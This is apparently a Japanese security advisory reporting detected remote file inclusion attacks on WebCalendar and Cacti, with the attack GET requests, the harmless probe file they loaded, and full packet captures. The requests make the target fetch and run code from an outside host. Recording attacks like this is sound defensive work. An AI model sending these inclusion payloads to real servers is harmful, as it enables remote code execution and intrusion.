【情報】webcalendarとcactiのリモートコードインジェクション攻撃

■コメント
2つの特定の脆弱性に対する攻撃を検知しました。

最初の攻撃は webcalendarと呼ばれる同様のカレンダーアプリケーションに向けられました、そして、
もう片方の攻撃は cactiと呼ばれるグラフ化アプリケーションを対象としました。
攻撃は両方を利用しました。
・webcalendarでは、これはこの実際の攻撃で見られるように includedirパラメタを利用して実行されている。

GET /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt

・cactiでは、コンフィグパラメタを利用して実行されている。

GET /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt

---------------------------
・t.txtファイル
---------------------------
<html>
<head>
<title>Vulner4bl3</title>
<? echo "VulnerabLe" ?>

比較的無害なファイル http://www.geocities.com/trustopt/t.txt の実行が試みられました。
今後攻撃者は、不正アクセスを目的とした悪質なコードの注入を試みる恐れがある。
以下が実際の攻撃パケットになります。

---------------------------
webcalendar攻撃
---------------------------
No. Time Source Destination Protocol Info
10986 2005-11-27 12:13:07.837369 xxx.203.134.100 xxx.87.152.38 HTTP GET /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 10986 (341 bytes on wire, 341 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 52844 (52844), Dst Port: http (80), Seq: 1, Ack: 1, Len: 275
Hypertext Transfer Protocol
GET /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
Request Method: GET
Request URI: /webcalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
Request Version: HTTP/1.1
Accept: */*\r\n
Accept-Language: en-us\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
Host: xxx.87.152.38\r\n
Connection: Close\r\n
\r\n

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 01 47 ae f4 40 00 30 06 6f 0f 41 cb 86 64 cb 57 .G..@.0.o.A..d.W
0020 98 26 ce 6c 00 50 38 09 35 e7 9b ac 1e 98 80 18 .&.l.P8.5.......
0030 16 d0 68 69 00 00 01 01 08 0a df 5b 9c 0b 00 00 ..hi.......[....
0040 00 00 47 45 54 20 2f 77 65 62 63 61 6c 65 6e 64 ..GET /webcalend
0050 61 72 2f 74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65 ar/tools/send_re
0060 6d 69 6e 64 65 72 73 2e 70 68 70 3f 69 6e 63 6c minders.php?incl
0070 75 64 65 64 69 72 3d 68 74 74 70 3a 2f 2f 77 77 udedir=http://ww
0080 77 2e 67 65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f w.geocities.com/
0090 74 72 75 73 74 6f 70 74 2f 74 2e 74 78 74 3f 20 trustopt/t.txt?
00a0 48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74 HTTP/1.1..Accept
00b0 3a 20 2a 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61 : */*..Accept-La
00c0 6e 67 75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41 nguage: en-us..A
00d0 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 ccept-Encoding:
00e0 67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55 gzip, deflate..U
00f0 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c ser-Agent: Mozil
0100 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 la/4.0 (compatib
0110 6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69 le; MSIE 6.0; Wi
0120 6e 64 6f 77 73 20 39 38 29 0d 0a 48 6f 73 74 3a ndows 98)..Host:
0130 20 32 30 33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a xxx.87.152.38..
0140 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 Connection: Clos
0150 65 0d 0a 0d 0a e....

No. Time Source Destination Protocol Info
11001 2005-11-27 12:13:11.443162 xxx.203.134.100 xxx.87.152.38 HTTP GET /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11001 (341 bytes on wire, 341 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53291 (53291), Dst Port: http (80), Seq: 1, Ack: 1, Len: 275
Hypertext Transfer Protocol
GET /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
Request Method: GET
Request URI: /WebCalendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
Request Version: HTTP/1.1
Accept: */*\r\n
Accept-Language: en-us\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
Host: xxx.87.152.38\r\n
Connection: Close\r\n
\r\n

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 01 47 22 6c 40 00 30 06 fb 97 41 cb 86 64 cb 57 .G"l@.0...A..d.W
0020 98 26 d0 2b 00 50 37 c8 80 9e 9b ba 73 2e 80 18 .&.+.P7.....s...
0030 16 d0 e0 01 00 00 01 01 08 0a df 5b a3 b9 00 00 ...........[....
0040 00 00 47 45 54 20 2f 57 65 62 43 61 6c 65 6e 64 ..GET /WebCalend
0050 61 72 2f 74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65 ar/tools/send_re
0060 6d 69 6e 64 65 72 73 2e 70 68 70 3f 69 6e 63 6c minders.php?incl
0070 75 64 65 64 69 72 3d 68 74 74 70 3a 2f 2f 77 77 udedir=http://ww
0080 77 2e 67 65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f w.geocities.com/
0090 74 72 75 73 74 6f 70 74 2f 74 2e 74 78 74 3f 20 trustopt/t.txt?
00a0 48 54 54 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74 HTTP/1.1..Accept
00b0 3a 20 2a 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61 : */*..Accept-La
00c0 6e 67 75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41 nguage: en-us..A
00d0 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 ccept-Encoding:
00e0 67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55 gzip, deflate..U
00f0 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c ser-Agent: Mozil
0100 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 la/4.0 (compatib
0110 6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69 le; MSIE 6.0; Wi
0120 6e 64 6f 77 73 20 39 38 29 0d 0a 48 6f 73 74 3a ndows 98)..Host:
0130 20 32 30 33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a xxx.87.152.38..
0140 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 Connection: Clos
0150 65 0d 0a 0d 0a e....

No. Time Source Destination Protocol Info
11029 2005-11-27 12:13:12.862553 xxx.203.134.100 xxx.87.152.38 HTTP GET /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11029 (338 bytes on wire, 338 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (xxx.87.152.38)
Transmission Control Protocol, Src Port: 53424 (53424), Dst Port: http (80), Seq: 1, Ack: 1, Len: 272
Hypertext Transfer Protocol
GET /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
Request Method: GET
Request URI: /calendar/tools/send_reminders.php?includedir=http://www.geocities.com/trustopt/t.txt?
Request Version: HTTP/1.1
Accept: */*\r\n
Accept-Language: en-us\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
Host: xxx.87.152.38\r\n
Connection: Close\r\n
\r\n

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 01 44 48 dc 40 00 30 06 d5 2a 41 cb 86 64 cb 57 .DH.@.0..*A..d.W
0020 98 26 d0 b0 00 50 38 6a ed 62 9b c0 af 37 80 18 .&...P8j.b...7..
0030 16 d0 7e 2d 00 00 01 01 08 0a df 5b a6 4a 00 00 ..~-.......[.J..
0040 00 00 47 45 54 20 2f 63 61 6c 65 6e 64 61 72 2f ..GET /calendar/
0050 74 6f 6f 6c 73 2f 73 65 6e 64 5f 72 65 6d 69 6e tools/send_remin
0060 64 65 72 73 2e 70 68 70 3f 69 6e 63 6c 75 64 65 ders.php?include
0070 64 69 72 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 67 dir=http://www.g
0080 65 6f 63 69 74 69 65 73 2e 63 6f 6d 2f 74 72 75 eocities.com/tru
0090 73 74 6f 70 74 2f 74 2e 74 78 74 3f 20 48 54 54 stopt/t.txt? HTT
00a0 50 2f 31 2e 31 0d 0a 41 63 63 65 70 74 3a 20 2a P/1.1..Accept: *
00b0 2f 2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 /*..Accept-Langu
00c0 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 41 63 63 65 age: en-us..Acce
00d0 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 pt-Encoding: gzi
00e0 70 2c 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 p, deflate..User
00f0 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f -Agent: Mozilla/
0100 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 4.0 (compatible;
0110 20 4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f MSIE 6.0; Windo
0120 77 73 20 39 38 29 0d 0a 48 6f 73 74 3a 20 32 30 ws 98)..Host: 20
0130 33 2e 38 37 2e 31 35 32 2e 33 38 0d 0a 43 6f 6e 3.87.152.38..Con
0140 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a nection: Close..
0150 0d 0a ..

---------------------------
cacti攻撃
---------------------------
No. Time Source Destination Protocol Info
11015 2005-11-27 12:13:12.164792 xxx.203.134.100 xxx.87.152.38 HTTP GET /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11015 (348 bytes on wire, 348 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (203.87.152.38)
Transmission Control Protocol, Src Port: 53360 (53360), Dst Port: http (80), Seq: 1, Ack: 1, Len: 282
Hypertext Transfer Protocol
GET /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
Request Method: GET
Request URI: /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt?
Request Version: HTTP/1.1
Accept: */*\r\n
Accept-Language: en-us\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
Host: 203.87.152.38\r\n
Connection: Close\r\n
\r\n

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 01 4e 21 35 40 00 30 06 fc c7 41 cb 86 64 cb 57 .N!5@.0...A..d.W
0020 98 26 d0 70 00 50 38 0a 85 55 9b bd e3 2f 80 18 .&.p.P8..U.../..
0030 16 d0 14 d2 00 00 01 01 08 0a df 5b a5 03 00 00 ...........[....
0040 00 00 47 45 54 20 2f 63 61 63 74 69 2f 69 6e 63 ..GET /cacti/inc
0050 6c 75 64 65 2f 63 6f 6e 66 69 67 5f 73 65 74 74 lude/config_sett
0060 69 6e 67 73 2e 70 68 70 3f 63 6f 6e 66 69 67 5b ings.php?config[
0070 69 6e 63 6c 75 64 65 5f 70 61 74 68 5d 3d 68 74 include_path]=ht
0080 74 70 3a 2f 2f 77 77 77 2e 67 65 6f 63 69 74 69 tp://www.geociti
0090 65 73 2e 63 6f 6d 2f 74 72 75 73 74 6f 70 74 2f es.com/trustopt/
00a0 74 2e 74 78 74 3f 20 48 54 54 50 2f 31 2e 31 0d t.txt? HTTP/1.1.
00b0 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 41 63 .Accept: */*..Ac
00c0 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 cept-Language: e
00d0 6e 2d 75 73 0d 0a 41 63 63 65 70 74 2d 45 6e 63 n-us..Accept-Enc
00e0 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 20 64 65 66 oding: gzip, def
00f0 6c 61 74 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 late..User-Agent
0100 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 : Mozilla/4.0 (c
0110 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 ompatible; MSIE
0120 36 2e 30 3b 20 57 69 6e 64 6f 77 73 20 39 38 29 6.0; Windows 98)
0130 0d 0a 48 6f 73 74 3a 20 32 30 33 2e 38 37 2e 31 ..Host: 203.87.1
0140 35 32 2e 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 52.38..Connectio
0150 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a n: Close....

No. Time Source Destination Protocol Info
11123 2005-11-27 12:13:17.389821 xxx.203.134.100 xxx.87.152.38 HTTP GET /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 11123 (348 bytes on wire, 348 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (203.87.152.38)
Transmission Control Protocol, Src Port: 53855 (53855), Dst Port: http (80), Seq: 1, Ack: 1, Len: 282
Hypertext Transfer Protocol
GET /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
Request Method: GET
Request URI: /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt?
Request Version: HTTP/1.1
Accept: */*\r\n
Accept-Language: en-us\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
Host: 203.87.152.38\r\n
Connection: Close\r\n
\r\n

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 01 4e ea e8 40 00 30 06 33 14 41 cb 86 64 cb 57 .N..@.0.3.A..d.W
0020 98 26 d2 5f 00 50 38 a2 44 ed 9b d4 88 b2 80 18 .&._.P8.D.......
0030 16 d0 a3 79 00 00 01 01 08 0a df 5b ae a3 00 00 ...y.......[....
0040 00 00 47 45 54 20 2f 63 61 63 74 69 2f 69 6e 63 ..GET /cacti/inc
0050 6c 75 64 65 2f 63 6f 6e 66 69 67 5f 73 65 74 74 lude/config_sett
0060 69 6e 67 73 2e 70 68 70 3f 63 6f 6e 66 69 67 5b ings.php?config[
0070 69 6e 63 6c 75 64 65 5f 70 61 74 68 5d 3d 68 74 include_path]=ht
0080 74 70 3a 2f 2f 77 77 77 2e 67 65 6f 63 69 74 69 tp://www.geociti
0090 65 73 2e 63 6f 6d 2f 74 72 75 73 74 6f 70 74 2f es.com/trustopt/
00a0 74 2e 74 78 74 3f 20 48 54 54 50 2f 31 2e 31 0d t.txt? HTTP/1.1.
00b0 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 41 63 .Accept: */*..Ac
00c0 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 cept-Language: e
00d0 6e 2d 75 73 0d 0a 41 63 63 65 70 74 2d 45 6e 63 n-us..Accept-Enc
00e0 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 20 64 65 66 oding: gzip, def
00f0 6c 61 74 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 late..User-Agent
0100 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 : Mozilla/4.0 (c
0110 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 ompatible; MSIE
0120 36 2e 30 3b 20 57 69 6e 64 6f 77 73 20 39 38 29 6.0; Windows 98)
0130 0d 0a 48 6f 73 74 3a 20 32 30 33 2e 38 37 2e 31 ..Host: 203.87.1
0140 35 32 2e 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 52.38..Connectio
0150 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a n: Close....

No. Time Source Destination Protocol Info
45438 2005-11-28 00:33:58.285129 xxx.203.134.100 xxx.87.152.38 HTTP GET /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt? HTTP/1.1

Frame 45438 (348 bytes on wire, 348 bytes captured)
Ethernet II, Src: 203.87.152.33 (00:0d:48:1f:0c:56), Dst: xxx.87.152.38 (00:0c:29:f3:5b:69)
Internet Protocol, Src: xxx.203.134.100 (xxx.203.134.100), Dst: xxx.87.152.38 (203.87.152.38)
Transmission Control Protocol, Src Port: 59388 (59388), Dst Port: http (80), Seq: 1, Ack: 1, Len: 282
Hypertext Transfer Protocol
GET /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt? HTTP/1.1\r\n
Request Method: GET
Request URI: /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt?
Request Version: HTTP/1.1
Accept: */*\r\n
Accept-Language: en-us\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
Host: 203.87.152.38\r\n
Connection: Close\r\n
\r\n

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 01 4e 0f 93 40 00 30 06 0e 6a 41 cb 86 64 cb 57 .N..@.0..jA..d.W
0020 98 26 e7 fc 00 50 0a b1 96 17 25 a9 38 5e 80 18 .&...P....%.8^..
0030 16 d0 44 3d 00 00 01 01 08 0a e0 b3 9a 31 00 00 ..D=.........1..
0040 00 00 47 45 54 20 2f 63 61 63 74 69 2f 69 6e 63 ..GET /cacti/inc
0050 6c 75 64 65 2f 63 6f 6e 66 69 67 5f 73 65 74 74 lude/config_sett
0060 69 6e 67 73 2e 70 68 70 3f 63 6f 6e 66 69 67 5b ings.php?config[
0070 69 6e 63 6c 75 64 65 5f 70 61 74 68 5d 3d 68 74 include_path]=ht
0080 74 70 3a 2f 2f 77 77 77 2e 67 65 6f 63 69 74 69 tp://www.geociti
0090 65 73 2e 63 6f 6d 2f 74 72 75 73 74 6f 70 74 2f es.com/trustopt/
00a0 74 2e 74 78 74 3f 20 48 54 54 50 2f 31 2e 31 0d t.txt? HTTP/1.1.
00b0 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 41 63 .Accept: */*..Ac
00c0 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 cept-Language: e
00d0 6e 2d 75 73 0d 0a 41 63 63 65 70 74 2d 45 6e 63 n-us..Accept-Enc
00e0 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 20 64 65 66 oding: gzip, def
00f0 6c 61 74 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 late..User-Agent
0100 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 : Mozilla/4.0 (c
0110 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 ompatible; MSIE
0120 36 2e 30 3b 20 57 69 6e 64 6f 77 73 20 39 38 29 6.0; Windows 98)
0130 0d 0a 48 6f 73 74 3a 20 32 30 33 2e 38 37 2e 31 ..Host: 203.87.1
0140 35 32 2e 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 52.38..Connectio
0150 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a n: Close....